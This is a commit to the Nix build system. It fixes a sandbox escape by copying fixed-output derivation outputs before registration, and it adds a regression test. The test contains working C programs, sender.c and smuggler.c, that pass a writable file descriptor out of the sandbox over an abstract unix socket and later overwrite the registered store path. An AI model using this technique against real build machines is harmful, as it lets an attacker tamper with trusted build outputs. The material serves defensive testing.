Copy the output of fixed-output derivations before registering them

It is possible to exfiltrate a file descriptor out of the build sandbox
of FODs, and use it to modify the store path after it has been
registered. To avoid that issue, don't register the output of the build,
but a copy of it (that will be free of any leaked file descriptor).

Test that we can't leverage abstract unix domain sockets to leak file
descriptors out of the sandbox and modify the path after it has been
registered.

(cherry picked from commit 2dadfeb690e7f4b8f97298e29791d202fdba5ca6)
(tests cherry picked from commit c854ae5b3078ac5d99fa75fe148005044809e18c)

Co-authored-by: Valentin Gagarin <valentin.gagarin@tweag.io>
Co-authored-by: Theophane Hufschmitt <theophane.hufschmitt@tweag.io>
Co-authored-by: Tom Bereknyei <tomberek@gmail.com>

Change-Id: I87cd58f1c0a4f7b7a610d354206b33301e47b1a4

7 files changed, 242 insertions, 0 deletions

diff --git a/src/libstore/build/local-derivation-goal.cc b/src/libstore/build/local-derivation-goal.cc
index 1fc966951..8e5ab7594 100644
--- a/src/libstore/build/local-derivation-goal.cc
+++ b/src/libstore/build/local-derivation-goal.cc
@@ -2528,6 +2528,12 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs()
             [&](const DerivationOutput::CAFixed & dof) {
                 auto & wanted = dof.ca.hash;
 
+                // Replace the output by a fresh copy of itself to make sure
+                // that there's no stale file descriptor pointing to it
+                Path tmpOutput = actualPath + ".tmp";
+                movePath(actualPath, tmpOutput);
+                copyFile(tmpOutput, actualPath, true);
+
                 auto newInfo0 = newInfoFromCA(DerivationOutput::CAFloating {
                     .method = dof.ca.method,
                     .hashType = wanted.type,
diff --git a/src/libutil/filesystem.cc b/src/libutil/filesystem.cc
index 11cc0c0e7..2a7787c0e 100644
--- a/src/libutil/filesystem.cc
+++ b/src/libutil/filesystem.cc
@@ -133,6 +133,12 @@ void copy(const fs::directory_entry & from, const fs::path & to, bool andDelete)
     }
 }
 
+
+void copyFile(const Path & oldPath, const Path & newPath, bool andDelete)
+{
+    return copy(fs::directory_entry(fs::path(oldPath)), fs::path(newPath), andDelete);
+}
+
 void renameFile(const Path & oldName, const Path & newName)
 {
     fs::rename(oldName, newName);
diff --git a/src/libutil/util.hh b/src/libutil/util.hh
index bcee42327..acd77ee33 100644
--- a/src/libutil/util.hh
+++ b/src/libutil/util.hh
@@ -275,6 +275,13 @@ void renameFile(const Path & src, const Path & dst);
  */
 void moveFile(const Path & src, const Path & dst);
 
+/**
+ * Recursively copy the content of `oldPath` to `newPath`. If `andDelete` is
+ * `true`, then also remove `oldPath` (making this equivalent to `moveFile`, but
+ * with the guaranty that the destination will be “fresh”, with no stale inode
+ * or file descriptor pointing to it).
+ */
+void copyFile(const Path & oldPath, const Path & newPath, bool andDelete);
 
 /**
  * Wrappers arount read()/write() that read/write exactly the
diff --git a/tests/nixos/ca-fd-leak/default.nix b/tests/nixos/ca-fd-leak/default.nix
new file mode 100644
index 000000000..a6ae72adc
--- /dev/null
+++ b/tests/nixos/ca-fd-leak/default.nix
@@ -0,0 +1,90 @@
+# Nix is a sandboxed build system. But Not everything can be handled inside its
+# sandbox: Network access is normally blocked off, but to download sources, a
+# trapdoor has to exist. Nix handles this by having "Fixed-output derivations".
+# The detail here is not important, but in our case it means that the hash of
+# the output has to be known beforehand. And if you know that, you get a few
+# rights: you no longer run inside a special network namespace!
+#
+# Now, Linux has a special feature, that not many other unices do: Abstract
+# unix domain sockets! Not only that, but those are namespaced using the
+# network namespace! That means that we have a way to create sockets that are
+# available in every single fixed-output derivation, and also all processes
+# running on the host machine! Now, this wouldn't be that much of an issue, as,
+# well, the whole idea is that the output is pure, and all processes in the
+# sandbox are killed before finalizing the output. What if we didn't need those
+# processes at all? Unix domain sockets have a semi-known trick: you can pass
+# file descriptors around!
+# This makes it possible to exfiltrate a file-descriptor with write access to
+# $out outside of the sandbox. And that file-descriptor can be used to modify
+# the contents of the store path after it has been registered.
+
+{ config, ... }:
+
+let
+  pkgs = config.nodes.machine.nixpkgs.pkgs;
+
+  # Simple C program that sends a a file descriptor to `$out` to a Unix
+  # domain socket.
+  # Compiled statically so that we can easily send it to the VM and use it
+  # inside the build sandbox.
+  sender = pkgs.runCommandWith {
+    name = "sender";
+    stdenv = pkgs.pkgsStatic.stdenv;
+  } ''
+    $CC -static -o $out ${./sender.c}
+  '';
+
+  # Okay, so we have a file descriptor shipped out of the FOD now. But the
+  # Nix store is read-only, right? .. Well, yeah. But this file descriptor
+  # lives in a mount namespace where it is not! So even when this file exists
+  # in the actual Nix store, we're capable of just modifying its contents...
+  smuggler = pkgs.writeCBin "smuggler" (builtins.readFile ./smuggler.c);
+
+  # The abstract socket path used to exfiltrate the file descriptor
+  socketName = "FODSandboxExfiltrationSocket";
+in
+{
+  name = "ca-fd-leak";
+
+  nodes.machine =
+    { config, lib, pkgs, ... }:
+    { virtualisation.writableStore = true;
+      nix.settings.substituters = lib.mkForce [ ];
+      virtualisation.additionalPaths = [ pkgs.busybox-sandbox-shell sender smuggler pkgs.socat ];
+    };
+
+  testScript = { nodes }: ''
+    start_all()
+
+    machine.succeed("echo hello")
+    # Start the smuggler server
+    machine.succeed("${smuggler}/bin/smuggler ${socketName} >&2 &")
+
+    # Build the smuggled derivation.
+    # This will connect to the smuggler server and send it the file descriptor
+    machine.succeed(r"""
+      nix-build -E '
+        builtins.derivation {
+          name = "smuggled";
+          system = builtins.currentSystem;
+          # look ma, no tricks!
+          outputHashMode = "flat";
+          outputHashAlgo = "sha256";
+          outputHash = builtins.hashString "sha256" "hello, world\n";
+          builder = "${pkgs.busybox-sandbox-shell}/bin/sh";
+          args = [ "-c" "echo \"hello, world\" > $out; ''${${sender}} ${socketName}" ];
+      }'
+    """.strip())
+
+
+    # Tell the smuggler server that we're done
+    machine.execute("echo done | ${pkgs.socat}/bin/socat - ABSTRACT-CONNECT:${socketName}")
+
+    # Check that the file was not modified
+    machine.succeed(r"""
+      cat ./result
+      test "$(cat ./result)" = "hello, world"
+    """.strip())
+  '';
+
+}
diff --git a/tests/nixos/ca-fd-leak/sender.c b/tests/nixos/ca-fd-leak/sender.c
new file mode 100644
index 000000000..75e54fc8f
--- /dev/null
+++ b/tests/nixos/ca-fd-leak/sender.c
@@ -0,0 +1,65 @@
+#include <sys/socket.h>
+#include <sys/un.h>
+#include <stdlib.h>
+#include <stddef.h>
+#include <stdio.h>
+#include <unistd.h>
+#include <fcntl.h>
+#include <errno.h>
+#include <string.h>
+#include <assert.h>
+
+int main(int argc, char **argv) {
+
+    assert(argc == 2);
+
+    int sock = socket(AF_UNIX, SOCK_STREAM, 0);
+
+    // Set up a abstract domain socket path to connect to.
+    struct sockaddr_un data;
+    data.sun_family = AF_UNIX;
+    data.sun_path[0] = 0;
+    strcpy(data.sun_path + 1, argv[1]);
+
+    // Now try to connect, To ensure we work no matter what order we are
+    // executed in, just busyloop here.
+    int res = -1;
+    while (res < 0) {
+        res = connect(sock, (const struct sockaddr *)&data,
+            offsetof(struct sockaddr_un, sun_path)
+              + strlen(argv[1])
+              + 1);
+        if (res < 0 && errno != ECONNREFUSED) perror("connect");
+        if (errno != ECONNREFUSED) break;
+    }
+
+    // Write our message header.
+    struct msghdr msg = {0};
+    msg.msg_control = malloc(128);
+    msg.msg_controllen = 128;
+
+    // Write an SCM_RIGHTS message containing the output path.
+    struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
+    hdr->cmsg_len = CMSG_LEN(sizeof(int));
+    hdr->cmsg_level = SOL_SOCKET;
+    hdr->cmsg_type = SCM_RIGHTS;
+    int fd = open(getenv("out"), O_RDWR | O_CREAT, 0640);
+    memcpy(CMSG_DATA(hdr), (void *)&fd, sizeof(int));
+
+    msg.msg_controllen = CMSG_SPACE(sizeof(int));
+
+    // Write a single null byte too.
+    msg.msg_iov = malloc(sizeof(struct iovec));
+    msg.msg_iov[0].iov_base = "";
+    msg.msg_iov[0].iov_len = 1;
+    msg.msg_iovlen = 1;
+
+    // Send it to the othher side of this connection.
+    res = sendmsg(sock, &msg, 0);
+    if (res < 0) perror("sendmsg");
+    int buf;
+
+    // Wait for the server to close the socket, implying that it has
+    // received the commmand.
+    recv(sock, (void *)&buf, sizeof(int), 0);
+}
diff --git a/tests/nixos/ca-fd-leak/smuggler.c b/tests/nixos/ca-fd-leak/smuggler.c
new file mode 100644
index 000000000..82acf37e6
--- /dev/null
+++ b/tests/nixos/ca-fd-leak/smuggler.c
@@ -0,0 +1,66 @@
+#include <sys/socket.h>
+#include <sys/un.h>
+#include <stdlib.h>
+#include <stddef.h>
+#include <stdio.h>
+#include <unistd.h>
+#include <assert.h>
+
+int main(int argc, char **argv) {
+
+    assert(argc == 2);
+
+    int sock = socket(AF_UNIX, SOCK_STREAM, 0);
+
+    // Bind to the socket.
+    struct sockaddr_un data;
+    data.sun_family = AF_UNIX;
+    data.sun_path[0] = 0;
+    strcpy(data.sun_path + 1, argv[1]);
+    int res = bind(sock, (const struct sockaddr *)&data,
+        offsetof(struct sockaddr_un, sun_path)
+        + strlen(argv[1])
+        + 1);
+    if (res < 0) perror("bind");
+
+    res = listen(sock, 1);
+    if (res < 0) perror("listen");
+
+    int smuggling_fd = -1;
+
+    // Accept the connection a first time to receive the file descriptor.
+    fprintf(stderr, "%s\n", "Waiting for the first connection");
+    int a = accept(sock, 0, 0);
+    if (a < 0) perror("accept");
+
+    struct msghdr msg = {0};
+    msg.msg_control = malloc(128);
+    msg.msg_controllen = 128;
+
+    // Receive the file descriptor as sent by the smuggler.
+    recvmsg(a, &msg, 0);
+
+    struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
+    while (hdr) {
+        if (hdr->cmsg_level == SOL_SOCKET
+          && hdr->cmsg_type == SCM_RIGHTS) {
+
+            // Grab the copy of the file descriptor.
+            memcpy((void *)&smuggling_fd, CMSG_DATA(hdr), sizeof(int));
+        }
+
+        hdr = CMSG_NXTHDR(&msg, hdr);
+    }
+    fprintf(stderr, "%s\n", "Got the file descriptor. Now waiting for the second connection");
+    close(a);
+
+    // Wait for a second connection, which will tell us that the build is
+    // done
+    a = accept(sock, 0, 0);
+    fprintf(stderr, "%s\n", "Got a second connection, rewriting the file");
+    // Write a new content to the file
+    if (ftruncate(smuggling_fd, 0)) perror("ftruncate");
+    char * new_content = "Pwned\n";
+    int written_bytes = write(smuggling_fd, new_content, strlen(new_content));
+    if (written_bytes != strlen(new_content)) perror("write");
+}
diff --git a/tests/nixos/default.nix b/tests/nixos/default.nix
index b391d7ef2..cbb5dea00 100644
--- a/tests/nixos/default.nix
+++ b/tests/nixos/default.nix
@@ -38,4 +38,6 @@ in
   setuid = lib.genAttrs
     ["i686-linux" "x86_64-linux"]
     (system: runNixOSTestFor system ./setuid.nix);
+
+  ca-fd-leak = runNixOSTestFor "x86_64-linux" ./ca-fd-leak;
 }